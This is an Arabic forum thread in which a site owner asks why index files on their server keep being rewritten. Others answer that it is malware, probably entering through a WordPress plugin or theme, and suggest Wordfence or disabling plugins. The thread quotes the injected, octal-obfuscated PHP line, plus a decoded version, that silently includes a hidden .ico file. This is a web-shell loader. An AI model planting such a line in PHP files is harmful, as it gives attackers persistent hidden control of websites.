[ تم الحل ] مشكلة عويصة

[عابر سبيل]

السلام عليكم
بالله عندنا شيء عجيب وهو تغير ملفات index بالسيرفر
وصنع ملفات index في الملفات الفارغة ويتم الكتابة عليها بهذا

<?php
/ea2a0 /

@include "\057home\057mzam\145er/p\165blic\137html\057Soun\144s/Al\055Jaze\145rah/\115oham\155ed_A\164eeq_\101l-Su\156awi/\056bfaf\06242b.\151co";

/ea2a0 /

بالله ما المشكلة وما حلها؟؟

تعبنا منها جدا

 

[عابر سبيل]

يقولون هي من الودربريس

 

[أبو غَيْث]

و عليكم السلام

رغم ان المشكلة لا علاقة لها بسكربت زين فورو ، الا ان الكود يدل على شيء له علاقة بالتكويد
لذا فضلا مراجعة الدعم الخاص بالسرفر او مراجعة البرمجيات التي تستخدم
لاني لم يسبق لي ان واجهت مشكلة مثل هذه.

 

[عابر سبيل]

الاستضافة ما عملت شيء
المشكلة من الوردبريس قالوا
وما عرفت اعمل شيء

 

[عابر سبيل]

بعد فك تشفير الكود
طلع هذا المسار

<?php/*ab198*/@include "/home/mzameer/public_html/Sounds/Al-Jazeerah/Mohammed_Ateeq_Al-Sunawi/.bfaf242b.ico";/*ab198*/

 

[أبو غَيْث]

ليس لي اي فكرة اخي
ربما المشكلة في الملفات التي يتم اضافتها الى موقعك من خلال رفع ملفات من مواقع اخرى تكون به المشكلة ..
مثلا في الرابط يظهر /Sounds/Al-Jazeerah/Mohammed_Ateeq_Al-Sunawi/
اذا حاول تحذفه وشوف النتيجة

 

[عابر سبيل]

ليس لي اي فكرة اخي
ربما المشكلة في الملفات التي يتم اضافتها الى موقعك من خلال رفع ملفات من مواقع اخرى تكون به المشكلة ..
مثلا في الرابط يظهر /Sounds/Al-Jazeerah/Mohammed_Ateeq_Al-Sunawi/
اذا حاول تحذفه وشوف النتيجة

لم نرفع منذ زمن عن طريق ال ftp
المشكلة هو فيروس وما عرفت وش اعمل

 

[Lamine]

واضح أنها برمجية خبيثة والكود مشفر والأغلب تم إدراجها عن طريق ثغرة من ووردبريس خصوصا إذا تستعمل ثيم أو إضافات منزوعة محملة من مواقع الويرز أحيانا تكون محقونة

 

[Lamine]

جرب هذه الإضافة الخاصة بفحص وحماية الووردبريس ربما تفيدك :

Wordfence Security – Firewall, Malware Scan, and Login Security

Firewall, Malware Scanner, Two Factor Auth and Comprehensive Security Features, powered by our 24 hour team. Make security a priority with Wordfence.

wordpress.org

 

[أبو غَيْث]

جرب ما تفضل به اخونا @Lamine

 

[shqawe]

اخوي @عابر سبيل جرب تعطل الاضافات في الوردبريس بتغيير اسم مجلد plugin الى اي اسم اخر وشوف هل تذهب المشكلة ام لا طبعا ً بعد ماتجرب حل اخونا @Lamine

واذا اكتشفت ان المشكلة راحت بعد تعطيل الاضافات اتاكد من الاضافات فاكيد ان وحده من الاضافات فيها مشكلة او انها ملغومة